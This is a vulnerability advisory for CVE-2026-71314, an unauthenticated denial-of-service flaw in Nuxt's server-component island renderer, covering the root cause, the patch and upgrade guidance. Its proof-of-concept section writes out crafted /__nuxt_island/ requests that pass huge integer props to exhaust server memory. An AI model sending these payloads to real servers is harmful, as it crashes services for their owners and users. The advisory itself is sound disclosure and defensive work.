high · 7.5CVE-2026-71314Aug 5, 2026

CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any Nuxt app using server components or islands can be crashed by a single unauthenticated HTTP request that passes a huge integer as a prop, causing the server to expand a v-for loop to millions of…

Packagenuxt
Ecosystemnpm
Affected>= 4.0.0, < 4.5.1
Fixed in4.5.1
CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering

The problem

Nuxt's island renderer (/__nuxt_island/) accepts arbitrary props via a URL-encoded JSON blob. When a server component contains a v-for over a prop (e.g. v-for="n in count"), Nuxt SSR hands the raw prop value straight to Vue's ssrRenderList with no upper bound.

Because the island URL hash is a non-secret digest of the request, an attacker can compute a valid hash for any prop value client-side. Sending count=40000000 forces the server to allocate ~40 million loop-iteration nodes in a single render, crashing the Node/Nitro worker process.

The slot path (vforToArray helper) is equally affected, so <slot v-for> patterns hit the same code path.

Proof of concept

A working proof-of-concept for CVE-2026-71314 in nuxt, with the exact payload below.

http
# 1. Compute the non-secret island hash for your target component + props
#    (digest algorithm is public; use the nuxt source or observe a legitimate request)

# 2. Fire the single crash request (integer amplification path, no body size limit applies)
GET /__nuxt_island/MyIsland_abc123?props={%22count%22:40000000} HTTP/1.1
Host: target.example.com

# Slot/array path (also crashes; bypasses a naive body-size WAF rule only):
GET /__nuxt_island/MySlotIsland_abc123?props={%22items%22:4000000} HTTP/1.1
Host: target.example.com

# Reporter benchmarks (from advisory):
#   count=8000000  -> 142.9 MB response, server survives but heavily loaded
#   count=40000000 -> OOM crash of the Nitro worker from a ~130-byte request

The root cause is the complete absence of an iteration-count guard in the island SSR path. Vue's ssrRenderList allocates memory proportional to the source value, so passing an integer prop directly creates unbounded allocation (CWE-789 / CWE-770).

The patch introduces MAX_VFOR_LENGTH = 100000 in a new packages/nuxt/src/app/components/vfor.ts helper. The islands-transform.ts plugin rewrites v-for expressions inside server components to route through this bounded helper at compile time. The vforToArray function in utils.ts receives the same clamp, covering the <slot v-for> slot-props path.

Critically, a body-size limit on /__nuxt_island/ does NOT mitigate the integer path because the amplification comes from a single small integer in the URL query string, not from a large request body.

The fix

Upgrade to nuxt@4.5.1 (4.x) or nuxt@3.21.10 (3.x). Run npx nuxt upgrade --dedupe to refresh the lockfile. If you cannot upgrade immediately, manually clamp every v-for source in server components: v-for="n in Math.min(count, 1000)". A reverse-proxy body-size cap alone is insufficient for the integer-amplification vector.

Reported by danielroe (Daniel Roe).

References: [1][2][3][4][5][6]

Related research